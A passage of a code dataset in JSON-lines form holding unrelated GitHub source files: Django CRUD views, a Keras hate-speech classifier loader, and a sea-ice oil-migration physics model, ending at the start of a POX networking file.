value[0,:,:,:].transpose(1,2,0))\n","repo_name":"tobiasfshr/MOTSFusion","sub_path":"external/netdef_models/compute_disp_flow.py","file_name":"compute_disp_flow.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":168,"dataset":"github-code","pt":"7"} +{"seq_id":"70065346142","text":"from django.shortcuts import render\nfrom app.models import *\nfrom django.http import HttpResponse\n# Create your views here.\ndef topic(request):\n if request.method=='POST':\n topic=request.POST['topic_name']\n t=Topic.objects.get_or_create(topic_name=topic)[0]\n t.save()\n return HttpResponse('The given data has added into to ur Topic model successfully')\n\n\n\n\n return render(request,'topic.html')\n\n\n\ndef webpage(request):\n if request.method==\"POST\":\n topic=request.POST.get('topic_name')\n name=request.POST.get('name')\n url=request.POST.get('url')\n t=Topic.objects.get_or_create(topic_name=topic)[0]\n t.save()\n w=Webpage.objects.get_or_create(topic_name=t,name=name,url=url)[0]\n w.save()\n return HttpResponse('one record has addedd into Webpage Model successfully')\n\n return render(request,'webpage.html',context={'topics':Topic.objects.all()})\n\n\n\ndef displaytopicform(request):\n if request.method==\"POST\":\n topic=request.POST.get('topic_name')\n webpages=Webpage.objects.filter(topic_name=topic)\n #print(webpages)\n return render(request,'displaywebpage.html',context={'webpages':webpages})\n\n return render(request,'displaytopicform.html',context={'topics':Topic.objects.all()})\n\ndef updateweb(request):\n if request.method=='POST':\n name=request.POST.get('name')\n url=request.POST.get('url')\n Webpage.objects.filter(name=name).update(url=url)\n\n \n return render(request,'updateweb.html')\n\n\ndef access_records(request):\n if request.method=='POST':\n \n \n \n name=request.POST.get('name')\n url=request.POST.get('url')\n date=request.POST.get('date')\n w=Webpage.objects.get_or_create(name=name,url=url)[0]\n w.save()\n\n a=Access_Records.objects.get_or_create(name=name,date=date)[0]\n a.save()\n\n return HttpResponse('one record has addedd into Access_Records Model successfully')\n\n\n return render(request,'access_records.html',context={'webpages':Webpage.objects.all()})\ndef display_access_records(request):\n if request.method=='POST':\n webpage=request.POST.get('name')\n topic=request.POST.get('topic_name')\n webpages=Webpage.objects.filter(topic_name=topic,name=name)[0]\n access_records=Access_Records.objects.filter(name=name)\n #print(webpages)\n return render(request,'displaywebpage.html',context={'webpages':webpages})\n\n return render(request,'display_access_records.html',context={'topics':Topic.objects.all()})\ndef select(request):\n return render(request,'select.html')\n\n\ndef delete_topic(request):\n if request.method=='POST':\n topic=request.POST['topic_name']\n Topic.objects.filter(topic_name=topic).delete()\n return HttpResponse('one topic has deleted successfully')\n\ndef multi_select(request):\n if request.method=='POST':\n topics=request.POST.getlist('topic_name')\n #print(topics)\n webpages=Webpage.objects.none()\n for i in topics:\n webpages=webpages | Webpage.objects.filter(topic_name=i)\n\n return render(request,'displaywebpage.html',context={'webpages':webpages})\n return render(request,'multi_select.html',context={'topics':Topic.objects.all()})\n\n\n\ndef checkbox(request):\n return render(request,'checkbox.html',context={'topics':Topic.objects.all()})\n\n\n\n\n","repo_name":"Babachari1440/crud","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6763829233","text":"import re\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport seaborn as sn\nimport matplotlib.pyplot as plt\n\nfrom tensorflow import keras\nfrom keras.models import Model\nfrom keras import backend as K\nfrom keras.layers import GlobalMaxPooling1D, GlobalAveragePooling1D, concatenate, SpatialDropout1D\nfrom keras.preprocessing import text, sequence\nfrom keras.layers import Embedding, Reshape, Flatten, Dropout, Concatenate, Conv2D, MaxPool2D\nfrom keras.layers import Dense, Input, Bidirectional, GRU, LSTM\nfrom sklearn.model_selection import train_test_split, StratifiedShuffleSplit\n\nfrom pyspark.sql import functions as f\nfrom bigdl.orca import init_orca_context, stop_orca_context\nfrom bigdl.orca import OrcaContext\nfrom bigdl.orca.learn.tf2 import Estimator\nfrom pyspark.sql.types import StructType, StructField, StringType, ArrayType, FloatType\n\nOrcaContext.log_output = True\ncluster_mode = \"local\"\n\n\nif cluster_mode == \"local\":\n init_orca_context(cluster_mode=\"local\", cores=1)\n\nwith open('tokenizer.pickle', 'rb') as handle:\n tokenizer = pickle.load(handle)\n\nword_index = tokenizer.word_index\nsequence_length = 100\nnum_words = len(word_index) + 1\nembedding_dim = 300\ndrop = 0.5\nbatch_size = 256\n\nwith open('embedding_matrix.pickle', 'rb') as handle:\n embedding_matrix = pickle.load(handle)\n\n\nwith open('embedding_matrix.pickle', 'rb') as handle:\n embedding_matrix = pickle.load(handle)\n\n\ndef model_creator_text_cnn(config):\n import tensorflow as tf\n filter_sizes = [2, 3, 5]\n num_filters = 32\n\n inputs = Input(shape=(sequence_length,), dtype='int32')\n embedding = Embedding(input_dim=num_words, output_dim=embedding_dim,\n input_length=sequence_length, weights=[embedding_matrix])(inputs)\n reshape = Reshape((sequence_length, embedding_dim, 1))(embedding)\n\n conv_0 = Conv2D(num_filters, kernel_size=(\n filter_sizes[0], embedding_dim), padding='valid', kernel_initializer='normal', activation='elu')(reshape)\n conv_1 = Conv2D(num_filters, kernel_size=(\n filter_sizes[1], embedding_dim), padding='valid', kernel_initializer='normal', activation='elu')(reshape)\n conv_2 = Conv2D(num_filters, kernel_size=(\n filter_sizes[2], embedding_dim), padding='valid', kernel_initializer='normal', activation='elu')(reshape)\n\n maxpool_0 = MaxPool2D(pool_size=(\n sequence_length - filter_sizes[0] + 1, 1), strides=(1, 1), padding='valid')(conv_0)\n maxpool_1 = MaxPool2D(pool_size=(\n sequence_length - filter_sizes[1] + 1, 1), strides=(1, 1), padding='valid')(conv_1)\n maxpool_2 = MaxPool2D(pool_size=(\n sequence_length - filter_sizes[2] + 1, 1), strides=(1, 1), padding='valid')(conv_2)\n\n concatenated_tensor = Concatenate(axis=1)(\n [maxpool_0, maxpool_1, maxpool_2])\n flatten = Flatten()(concatenated_tensor)\n dropout = Dropout(drop)(flatten)\n output = Dense(units=3, activation='softmax')(dropout)\n\n # this creates a model that includes\n model = Model(inputs=inputs, outputs=output)\n adam = keras.optimizers.Adam(\n lr=1e-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\n\n model.compile(optimizer=adam, loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n return model\n\n\ndef model_creator_gru(config):\n import tensorflow as tf\n\n input = Input(shape=(sequence_length,))\n x = Embedding(num_words, embedding_dim, weights=[embedding_matrix])(input)\n x = SpatialDropout1D(0.2)(x)\n x = Bidirectional(GRU(80, return_sequences=True))(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n conc = concatenate([avg_pool, max_pool])\n output = Dense(3, activation=\"softmax\")(conc)\n\n # this creates a model that includes\n model = Model(inputs=input, outputs=output)\n adam = keras.optimizers.Adam(\n lr=1e-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\n\n model.compile(optimizer=adam, loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n return model\n\n\ndef model_creator_lstm(config):\n import tensorflow as tf\n\n input = Input(shape=(sequence_length,))\n x = Embedding(num_words, embedding_dim, weights=[embedding_matrix])(input)\n x = SpatialDropout1D(0.2)(x)\n x = Bidirectional(LSTM(80, return_sequences=True))(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n conc = concatenate([avg_pool, max_pool])\n output = Dense(3, activation=\"softmax\")(conc)\n\n # this creates a model that includes\n model = Model(inputs=input, outputs=output)\n adam = keras.optimizers.Adam(\n lr=1e-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\n\n model.compile(optimizer=adam, loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n return model\n\n\ndef init_estimator(model=\"text_cnn\"):\n if model == \"text_cnn\":\n est = Estimator.from_keras(\n model_creator=model_creator_text_cnn, workers_per_node=1)\n elif model == \"gru\":\n est = Estimator.from_keras(\n model_creator=model_creator_gru, workers_per_node=1)\n elif model == \"lstm\":\n est = Estimator.from_keras(\n model_creator=model_creator_lstm, workers_per_node=1)\n return est\n\n\ndef stop_context():\n stop_orca_context()\n\n\ndef convert_prediction(predictions):\n to_array = f.udf(lambda v: v.toArray().tolist(), ArrayType(FloatType()))\n predictions = predictions.withColumn('prediction', to_array('prediction'))\n predictions = predictions.select(\n 'timestamp',\n 'user',\n 'comment',\n f.expr('array_position(cast(prediction as array), cast(array_max(prediction) as float)) - 1').alias(\"prediction\")\n )\n return predictions\n","repo_name":"phuongabu141/Detect-Hate-Speech-Comments-on-Facebook","sub_path":"StructStreaming/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":5729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"5677227992","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n#\nimport numpy as np # VanDerWalt S. et al., 2011\nimport configparser\ntry:\n from numerical_helper import *\nexcept ImportError:\n import sys\n if '/home/megavolts/git/SimpleOilModel' in sys.path:\n raise\n sys.path.append('/home/megavolts/git/SimpleOilModel')\n from numerical_helper import *\n\ntry:\n import pysic\nexcept ImportError:\n import sys\n if '/home/megavolts/git/pysic' in sys.path:\n raise\n sys.path.append('/home/megavolts/git/pysic' )\n import pysic\ng = 9.80665 # m s^-2, Earth Gravitational Constant\n\n# Oil properties\nGAMMA_o = 20e-3 # kg s^-2 or 1e3 dyne/cm, interfacial tension between crude oil and water and ice, Malcom et al., 1979\nTHETA_o = 0 # deg, contact angel between crude oil and ice, in water Malcom et al., 1979\n\n# Brine properties\nGAMMA_b = 75.65e-3 # kg s^-2 interfacial tension between brine and sea ice in air\nTHETA_b = 0 # deg, contact angle between brine and sea ice in air\n\n\ndef t_sw_f(S):\n \"\"\"\n Return freezing point of sea water as function of salinity\n :param S: 'float' or array-like\n Salinity in per thousands\n :return: T: 'float' or array-like\n Temperature in degree C\n \"\"\"\n\n t_sw = pysic.property.sw.freezingtemp(S)\n\n if t_sw.size == 1:\n return t_sw[0]\n else:\n return t_sw\n\n\ndef rho_seawater(S, T):\n \"\"\"\n Return density of sea water as function of salinity and temperature\n :param S: 'float' or array-like\n Salinity in per thousands\n :param T: 'float' or array-like\n Temperature in degree C\n :return: 'float' or array-like\n Density of sea-water in kg/m3\n \"\"\"\n\n r_sw = pysic.property.sw.density_p0(S, T)\n\n if r_sw.size == 1:\n return r_sw[0]\n else:\n return r_sw\n\n\ndef rho_brine(T):\n \"\"\"\n Return brine density as function of T\n :param T: 'float' or array-like\n Temperature in degree C\n :return: rho: 'float' or array-like\n Brine density in kg / m3\n \"\"\"\n rho_b = pysic.property.brine.density(T)\n\n if rho_b.size == 1:\n return rho_b[0]\n else:\n return rho_b\n\n\ndef mu_oil(temp, oil_type='ANS'):\n \"\"\"\n Return the viscosity of crude oil as function of temperature.\n\n :param temp: 'float', temperature in degreeC\n :param oil_type: 'string', oil type. Defaults: Alaska North Slope (ANS)\n :return: mu, 'float', oil viscosity in Pa S\n \"\"\"\n if oil_type == 'ANS':\n # coefficient fitted to Scott Loranger data in mPa s\n a = 8.71884712e-14\n b = -2.95030660e+04\n si_scaling = 1e-3\n else:\n return None\n\n # Arrehnius Law\n mu = a*np.exp(-b/(np.pi*(temp+273.15)))\n mu = mu * si_scaling\n\n return mu\n\n\ndef mu_brine(S, T, override_s=True, override_t=True):\n \"\"\"\n Return density of sea water as function of salinity and temperature\n :param S: 'float' or array-like\n Salinity in per thousands\n :param T: 'float' or array-like\n Temperature in degree C\n :return: 'float' or array-like\n Dynamic viscosity of brine in Pa s\n \"\"\"\n\n mu_b = pysic.property.brine.viscosity(S, T, override_s=override_s, override_t=override_t)\n\n if mu_b.size == 1:\n return mu_b[0]\n else:\n return mu_b\n\n\ndef pc_b(r, oriented=True):\n \"\"\"\n Return capillary pressure for brine with respect to known wettability\n :param oriented: 'boolean', Default True\n True for known wettabiliyt, False otherway\n :return:\n \"\"\"\n if oriented:\n pc = np.abs(2 * GAMMA_b * np.abs(np.cos(np.deg2rad(THETA_b))) / r)\n else:\n pc = 2 * GAMMA_b * np.cos(np.deg2rad(THETA_b)) / r\n return pc\n\n\ndef pc_o(r, oriented=True):\n \"\"\"\n Return capillary pressure for brine with respect to known wettability\n :param oriented: 'boolean', Default True\n True for known wettabiliyt, False otherway\n :return:\n \"\"\"\n if oriented:\n pc = np.abs(2 * GAMMA_o * np.abs(np.cos(np.deg2rad(THETA_o))) / r)\n else:\n pc = 2 * GAMMA_o * np.cos(np.deg2rad(THETA_o)) / r\n return pc\n\n\ndef rho_oil(temp, oil_type='ANS'):\n \"\"\"\n Return the density of crude oil as function of temperature.\n\n :param temp: 'float', temperature in degreeC\n :param oil_type: 'string', oil type. Defaults: Alaska North Slope (ANS)\n :return: mu, 'float', oil viscosity in Pa S\n \"\"\"\n if oil_type == 'ANS':\n # coefficient fitted to Pegau et al. (2016) in g cm-3\n a = -7.63513516e-04\n b = 8.89247748e-01\n si_scaling = 1e3\n else:\n return None\n\n # Linear Law\n rho = a * temp + b\n rho = rho * si_scaling\n\n return rho\n\n\ndef lookup_TS_si_cover(TS, HI):\n \"\"\"\n :param T: target ice surface temperature\n :param HI: target ice thickness temperature\n :return:\n\n Lookup for target TS and HI within simulated hindcast of ice growth and decay seasonal evolution using CICE model. Forced with\n reanalysis data from 1979 - 2018 (Oggier et al., 2020, submitted https://tc.copernicus.org/preprints/tc-2020-52/)\n \"\"\"\n\n import pandas as pd\n data = pd.read_csv('CICE_data-UTQ/modelout-mod2.csv')\n data['date'] = pd.to_datetime(data[['year', 'month','day']])\n\n # compute minimal distance between (TS, HS) and hindcast\n data['distance'] = np.sqrt((HI*100-data['hi'])**2 + (TS-data['T_1'])**2)\n\n # look for minimal distance\n profile = data[data.distance == data.distance.min()].iloc[0]\n\n start_date = profile.date\n if profile.month <= 12:\n end_date = pd.to_datetime(str(profile.year+1)+'-9-15')\n else:\n end_date = pd.to_datetime(str(profile.year)+'-9-15')\n\n hi = profile.hi\n if np.abs(hi - HI*100)/(HI*100) < 0.2:\n s_header = [h for h in profile.index if 'S' in h]\n s_profile = np.array(profile[s_header]).astype(float)\n t_header = [h for h in profile.index if 'T' in h]\n t_profile = np.array(profile[t_header]).astype(float)\n TS_season = data.loc[(start_date <= data.date) & (data.date <= end_date)]\n return s_profile, t_profile, TS_season\n else:\n print(\"ERROR: difference in ice thicknesses are too large\")\n return None\n\ndef extract_TS_profile(TS_season, date, y):\n t_header = [c for c in TS_season.columns if 'T' in c]\n s_header = [c for c in TS_season.columns if 'S' in c]\n\n profile = TS_season.loc[(TS_season.year == date.year) & (TS_season.month == date.month) & (TS_season.day == date.day)]\n s_profile = np.array(profile[s_header].iloc[0])\n t_profile = np.array(profile[t_header].iloc[0])\n y_profile = np.linspace(0, profile.hi.iloc[0], 21)/100\n y_profile = np.diff(y_profile)/2 + y_profile[:-1]\n\n y = np.array(y)\n y_mid = np.diff(y)/2 + y[:-1]\n\n s_nearest = nearest_interp(y, y_profile, s_profile)[::-1]\n t_interp = np.interp(y_mid, y_profile, t_profile)[::-1]\n\n return s_nearest, t_interp\n\ndef load_case(case_fp):\n config = configparser.ConfigParser(allow_no_value=True)\n config.read(case_fp)\n\n bc_dict = {}\n bc_dict['HI'] = config['ICE'].getfloat('HI') # m, ice thickness\n bc_dict['HD'] = config['ICE'].getfloat('HD') # m, ice draft\n if bc_dict['HI'] is not None and bc_dict['HD'] is not None:\n bc_dict['HF'] = bc_dict['HI'] - bc_dict['HD'] # ice freeboard\n else:\n print(\"Freeboard HD not defined\")\n bc_dict['HG'] = config['ICE'].getfloat('HG') # m, granular ice thickness\n bc_dict['HC'] = bc_dict['HI'] - bc_dict['HG'] # m, columnar ice thickness\n\n bc_dict['HR'] = config['OIL'].getfloat('HR') # m, initial oil lens thickness\n bc_dict['VR'] = config['OIL'].getfloat('VR') # L, initial oil volume\n return bc_dict\n\n\ndef brine_hydraulic_head(r, hi, hd, rho_sw, rho_b):\n \"\"\"\n Return brine hydraulic head in sea-ice cover measured from ice/ocean interface for vertical cylindrical pore of\n given diameter.\n\n :param r: 'float'\n Pore radius\n :param hi: 'float'\n Ice thickness\n :param h_d: 'float'\n Ice draft\n :param gamma: 'float'\n Interfacial tension in N m-1\n :param theta: 'float'\n Contact angle degree\n :param rho_sw: 'float'\n Density of sea-water in kg m-3\n :param rho_b:\n Density of brine in kg m-3\n\n :return: 'float'\n Brine hydraulic head in meter\n \"\"\"\n hb = rho_sw / rho_b * hd + pc_b(r) / (rho_b * g)\n hb = np.atleast_1d(hb)\n\n hb_mask = [hb > hi]\n hb[hb > hi] = hi\n\n if hb.size == 1:\n return hb[0]\n else:\n return hb\n\n\ndef ice_draft(t_si, s_si, s_sw, hi):\n # t_si = -5\n # s_si = 5\n # s_sw = 32\n t_sw = pysic.property.sw.freezingtemp(s_sw)\n rho_si = pysic.property.si.density(s_si, t_si)\n rho_sw = pysic.property.sw.density_p0(s_sw, t_sw)\n\n hd = rho_si / rho_sw * hi\n return hd\n\n\ndef oil_penetration_depth(ho, r, os_dict, DEBUG=False):\n \"\"\"\n Return the time required by the oil to reach a given penetration depth as function of problem geometry\n (bc_dict) and material properties (mat_dict)\n\n :param ho: 'float' or array-like\n Oil penetration depth to reach in m\n :param r: 'float' or array-like\n Pore diameter in m\n :param os_dict: dict\n Oil spill condition with at least ice thickness, ice draft or freeboard in m\n :param p_top:\n Boundary condition at the top of the channel. Default is 'brine'\n Options are :\n 'brine': brine capillary pressure as function of sea water/air surface tension, contact angle and pore\n radius. Behavior change to 'atm' if ho + hb > hi\n 'atm' : atmospheric pressure\n 'float' : user defined pressure value\n :param DEBUG:\n :return:\n \"\"\"\n\n # Extract boundary condition:\n hi = os_dict['HI'] # m, initial ice thickness\n hd = os_dict['HD'] # m, initial ice draft\n hr = os_dict['HR'] # m, initial oil lens thickness\n vr = os_dict['VR'] # l, initial oil lens volume\n\n # Extract material parameters:\n rho_sw = rho_seawater(os_dict['sw']['S'], t_sw_f(os_dict['sw']['S']))\n\n rho_b = rho_brine(os_dict['b']['Ti'])\n mu_b = mu_brine(os_dict['b']['S'], os_dict['b']['Ti'])\n\n rho_o_R = rho_oil(os_dict['o']['Tsw']) # oil density in sea water\n rho_o_c = rho_oil(os_dict['o']['Ti']) # oil density in sea ice\n mu_o = mu_oil(os_dict['o']['Ti'])\n\n hb = brine_hydraulic_head(r, hi, hd, rho_sw, rho_b)\n a1 = mu_b / mu_o * hb\n b1 = rho_sw * g * r * hd + (rho_sw - rho_o_R) * g * r * hr - pc_o(1) + pc_b(1) - rho_b * g * r * hb\n c1 = np.pi * (rho_sw - rho_o_R) * g * r ** 3 * hr / vr + rho_o_c * g * r\n\n a2 = mu_b / (mu_o - mu_b) * hi\n b2 = rho_sw * g * r * hd - rho_b * g * r * hi + (rho_sw - rho_o_R) * g * r * hr - pc_o(1)\n c2 = np.pi * (rho_sw - rho_o_R) * g * r ** 3 * hr / vr + (rho_b - rho_o_c) * g * r\n\n if isinstance(a2, float):\n a2 = a2 * np.ones_like(b2)\n\n def f1(ho_):\n t = 8 / r * ((a1 * c1 + b1) * np.log(b1 / (b1 - c1 * ho_)) - c1 * ho_) / c1 ** 2\n\n if not isinstance(t, float):\n t = np.array(t)\n tnan = np.nan * np.ones_like(t)\n maskhb = (hb == hi)\n t[maskhb] = tnan[maskhb]\n else:\n if hb == hi:\n t = np.nan\n return t\n\n def f2A(ho_):\n t = ((a2 * c2 + b2) * np.log((b2 - c2 * (hi - hb)) / (b2 - c2 * ho_)) + c2 * ho_ - c2 * (hi - hb)) / c2 ** 2\n t += ((a1 * c1 + b1) * np.log(b1 / (b1 - c1 * (hi - hb))) - c1 * (hi - hb)) / c1 ** 2\n t = 8 / r * t\n if not isinstance(t, float):\n t = np.array(t)\n tnan = np.nan * np.ones_like(t)\n maskhb = (hb == hi)\n t[maskhb] = tnan[maskhb]\n else:\n if hb == hi:\n t = np.nan\n return t\n\n\n def f2B(ho_):\n t = 8 / r * ((a2 * c2 + b2) * np.log(b2 / (b2 - c2 * ho_)) + c2 * ho_) / c2 ** 2\n if not isinstance(t, float):\n t = np.array(t)\n tnan = np.nan*np.ones_like(t)\n maskhb = (hb < hi)\n t[maskhb] = tnan[maskhb]\n\n else:\n if hb < hi:\n t = np.nan\n return t\n\n\n def f(ho_):\n t = f2A(ho_)\n mask = (ho_ < hi - hb)\n t[mask] = f1(ho_)[mask]\n\n mask = (ho_ == 0)\n t[mask] = 0\n\n maskhb = (hi == hb)\n t[maskhb] = f2B(ho_)[maskhb]\n\n if not isinstance(t, float):\n t = np.array(t)\n return t\n\n if DEBUG:\n const = {'a1': a1, 'b1': b1, 'c1': c1,\n 'a2': a2, 'b2': b2, 'c2': c2}\n return f(ho), f1(ho), f2A(ho), f2B(ho), const\n else:\n return f(ho)\n\n\ndef r_lim_C1(hr, ho, os_dict, oriented=True):\n \"\"\"\n Return the minimal pore radius that could be invaded by oil under capillary forces of both brine and oil as\n function of oil lens thickness and oil penetration depth\n\n :param hr: 'float', array-like\n Oil lens thickness, in m\n :param ho: 'float', array-like\n Oil penetration depth, in m\n :param os_dict:\n Dictionary containing oil spill condition\n :param oriented: 'boolean', default True\n Oriented contact angle. If true, 0 < theta < 90\n\n :return: 'float', array-like\n Pore radius, in m.\n If r = -1, radius is negative: r < r_c\n If r = -2, ho+hb > hi\n \"\"\"\n rho_sw = rho_seawater(os_dict['sw']['S'], t_sw_f(os_dict['sw']['S']))\n rho_o_R = rho_oil(os_dict['o']['Tsw']) # oil density in sea water\n rho_o_c = rho_oil(os_dict['o']['Ti']) # oil density in sea ice\n rho_b = rho_brine(os_dict['b']['Ti'])\n\n try:\n hi = os_dict['HI']\n except KeyError:\n hi = None\n try:\n hd = os_dict['HD']\n except KeyError:\n hd = None\n\n if oriented:\n r = pc_o(1)\n else:\n r = pc_o(1, oriented)\n\n # Valid only if hi < hi + hb\n if hi is None and hd is None:\n nanmask = (r <= 0)\n r_nan = np.nan * np.ones_like(r)\n r[nanmask] = r_nan[nanmask]\n if r.size == 1:\n return r[0]\n else:\n return r\n elif hi is None and hd is not None:\n hi = hd / 0.9\n elif hd is None and hi is not None:\n hd = hi * 0.9\n\n r = r / ((rho_sw - rho_o_R) * g * hr - rho_o_c * ho * g)\n r = np.atleast_1d(r)\n\n hb = brine_hydraulic_head(r, hi, hd, rho_sw, rho_b)\n\n # nanmask = (ho + hb > hi)\n # r_nan = -2 * np.ones_like(r)\n # r[nanmask] = r_nan[nanmask]\n #\n # nanmask = (r < 0)\n # r_nan = np.nan * np.ones_like(r)\n # r[nanmask] = r_nan[nanmask]\n\n if r.size == 1:\n return r[0]\n else:\n return r\n\n\ndef r_lim_initial(hr, os_dict, oriented=True):\n \"\"\"\n Return the minimal pore radius that could be invaded by oil under capillary forces of both brine and oil as\n function of oil lens thickness and oil penetration depth\n\n :param hr: 'float', array-like\n Oil lens thickness, in m\n :param os_dict:\n Dictionary containing oil spill condition\n :param oriented: 'boolean', default True\n Oriented contact angle. If true, 0 < theta < 90\n\n :return: 'float', array-like\n Pore radius, in m.\n If r = -1, radius is negative: r < r_c\n If r = -2, ho+hb > hi\n \"\"\"\n\n r = r_lim_C1(hr, 0, os_dict, oriented=oriented)\n return r\n\n\ndef hb_C1(r, os_dict, oriented=True):\n \"\"\"\n Return the minimal pore radius that could be invaded by oil under capillary forces of oil as function of oil lens\n thickness and oil penetration depth\n\n :param r: 'float', array-like\n Pore radius, in m\n :param hr: 'float', array-like\n Oil lens thickness in m\n :param os_dict: 'float', array-like\n Dictionnary containing oil spill condition\n :param oriented: 'boolean', default True\n Oriented contact angle. If true, 0 < theta < 90\n\n :return: 'float', array-like\n Oil penetration depth, ho, in m\n If hi is defined in os_dict, then:\n ho = hi, if ho + hb > hi\n ho = np.nan if hb > hi\n \"\"\"\n rho_sw = rho_seawater(os_dict['sw']['S'], t_sw_f(os_dict['sw']['S']))\n rho_b = rho_brine(os_dict['b']['Ti'])\n\n try:\n hi = os_dict['HI']\n except KeyError:\n hi = None\n try:\n hd = os_dict['HD']\n except KeyError:\n hd = None\n\n hb = brine_hydraulic_head(r, hi, hd, rho_sw, rho_b)\n\n hb = np.atleast_1d(hb)\n\n if hb.size == 1:\n return hb[0]\n else:\n return hb\n\n\ndef ho_lim_C1(r, hr, os_dict, oriented=True):\n \"\"\"\n Return the minimal pore radius that could be invaded by oil under capillary forces of oil as function of oil lens\n thickness and oil penetration depth\n\n :param r: 'float', array-like\n Pore radius, in m\n :param hr: 'float', array-like\n Oil lens thickness in m\n :param os_dict: 'float', array-like\n Dictionnary containing oil spill condition\n :param oriented: 'boolean', default True\n Oriented contact angle. If true, 0 < theta < 90\n\n :return: 'float', array-like\n Oil penetration depth, ho, in m\n If hi is defined in os_dict, then:\n ho = hi, if ho + hb > hi\n ho = np.nan if hb > hi\n \"\"\"\n rho_sw = rho_seawater(os_dict['sw']['S'], t_sw_f(os_dict['sw']['S']))\n rho_o_R = rho_oil(os_dict['o']['Tsw']) # oil density in sea water\n rho_o_c = rho_oil(os_dict['o']['Ti']) # oil density in sea ice\n rho_b = rho_brine(os_dict['b']['Ti'])\n\n try:\n hi = os_dict['HI']\n except:\n hi = None\n\n try:\n hd = os_dict['HD']\n except:\n hd = None\n\n # Valid only if hi < hi + hb\n if os_dict is None:\n ho_ = (rho_sw - rho_o_R) / rho_o_c * hr\n if oriented:\n ho_ = ho_ - pc_o(r) / (rho_o_c * g)\n else:\n ho_ = ho_ + pc_o(r, oriented=oriented) / (rho_o_c * g)\n ho_ = np.atleast_1d(ho_)\n nanmask = ho_ < 0\n r_nan = +1 * np.atleast_1d(np.ones_like(r))\n ho_[nanmask] = r_nan[nanmask]\n if ho_.size == 1:\n return ho_[0]\n else:\n return ho_\n elif hi is None and hd is not None:\n hi = hd / 0.9\n elif hd is None and hi is not None:\n hd = hi * 0.9\n\n hb = brine_hydraulic_head(r, hi, hd, rho_sw, rho_b)\n\n ho = (rho_sw * hd + (rho_sw - rho_o_R) * hr - rho_b * hb) / rho_o_c\n if oriented:\n ho += (pc_b(r) - pc_o(r)) / (rho_o_c * g)\n else:\n ho += (pc_b(r, oriented) + pc_o(r, oriented)) / (rho_o_c * g)\n\n ho = np.atleast_1d(ho)\n nanmask = (ho + hb > hi)\n h_hi = hi * np.ones_like(ho)\n ho[nanmask] = h_hi[nanmask]\n\n r_lim = r_lim_initial(hr, os_dict)\n nanmask = (r < r_lim) & (hb >= hi)\n ho[nanmask] = 0\n\n nanmask = (r >= r_lim) & (ho + hb > hi)\n h_hi = hi * np.ones_like(ho)\n ho[nanmask] = h_hi[nanmask]\n\n if ho.size == 1:\n return ho[0]\n else:\n return ho\n\n\ndef pressure_equilibrium(ho, r, os_dict, oriented=True):\n \"\"\" if r.size == 1:\n return r[0]\n else:\n\n Return force balance for a given penetration depth\n\n :param r: 'float', array-like\n Pore radius, r, in m\n :param ho: 'float', array-like\n Oil penetration depth, ho, in m\n :param os_dict:\n Dictionary containing oil spill condition\n :param oriented: 'boolean', default True\n Oriented contact angle. If true, 0 < theta < 90\n :return:\n Pressure equilibrium, pE.\n If pE < 0 oil moves up\n If pE > 0 oil stop moving\n\n \"\"\"\n rho_sw = rho_seawater(os_dict['sw']['S'], t_sw_f(os_dict['sw']['S']))\n rho_b = rho_brine(os_dict['b']['Ti'])\n rho_o_R = rho_oil(os_dict['o']['Tsw']) # oil density in sea water\n rho_o_c = rho_oil(os_dict['o']['Ti']) # oil density in sea ice\n\n try:\n hr = os_dict['HR']\n except KeyError:\n hr = None\n\n try:\n hi = os_dict['HI']\n except KeyError:\n hi = None\n try:\n hd = os_dict['HD']\n except KeyError:\n hd = None\n\n if hi is None and hd is None:\n return np.nan\n elif hi is None and hd is not None:\n hi = hd / 0.9\n elif hd is None and hi is not None:\n hd = hi * 0.9\n\n try:\n hb = os_dict['HB']\n except KeyError:\n hb = brine_hydraulic_head(r, hi, hd, rho_sw=rho_sw, rho_b=rho_b)\n\n m_b = - rho_b * g * hb\n m_o = - (rho_o_R * g * hr + rho_o_c * g * ho)\n b_b = rho_sw * g * (hd - ho)\n b_o = rho_sw * g * (ho + hr)\n pco = pc_o(r, oriented)\n pcb = pc_b(r, oriented)\n\n if oriented:\n equilibrium = m_b + m_o + b_b + b_o + pcb - pco\n else:\n equilibrium = + m_b + m_o + b_b + b_o + pco\n\n return equilibrium\n\n\ndef r_lim_hb(r, os_dict):\n \"\"\"\n Return the pore radius when Hb = Hi as function of Hi and HD\n\n :param os_dict:\n :return:\n Pore radius r in m\n \"\"\"\n hi = os_dict['HI']\n hd = os_dict['HD']\n rho_sw = rho_seawater(os_dict['sw']['S'], t_sw_f(os_dict['sw']['S']))\n rho_b = rho_brine(os_dict['b']['Ti'])\n\n return max(r[brine_hydraulic_head(r, hi, hd, rho_sw, rho_b) == hi])\n\n\ndef hr_lim_hb(r, os_dict):\n \"\"\"\n Return the critical oil lens thickness, at the critical pore radius when Hb=Hi as function\n of Hi and Hd\n :param os_dict:\n :return:\n \"\"\"\n hi = os_dict['HI']\n\n r_lim = r_lim_hb(r, os_dict)\n\n def hr_f(x):\n return r_lim_initial(x, os_dict, brine_capillary=False) - r_lim\n\n from scipy.optimize import root\n sol = root(hr_f, 0.01)\n\n return sol.x","repo_name":"megavolts/1DVerticalOilMigration","sub_path":"project_helper.py","file_name":"project_helper.py","file_ext":"py","file_size_in_byte":21415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15832994818","text":"from pox.openflow.libopenflow_01 import *\nfrom entities import *\nimport logging\nimport collections\nfrom sts.util.console import msg\nimport 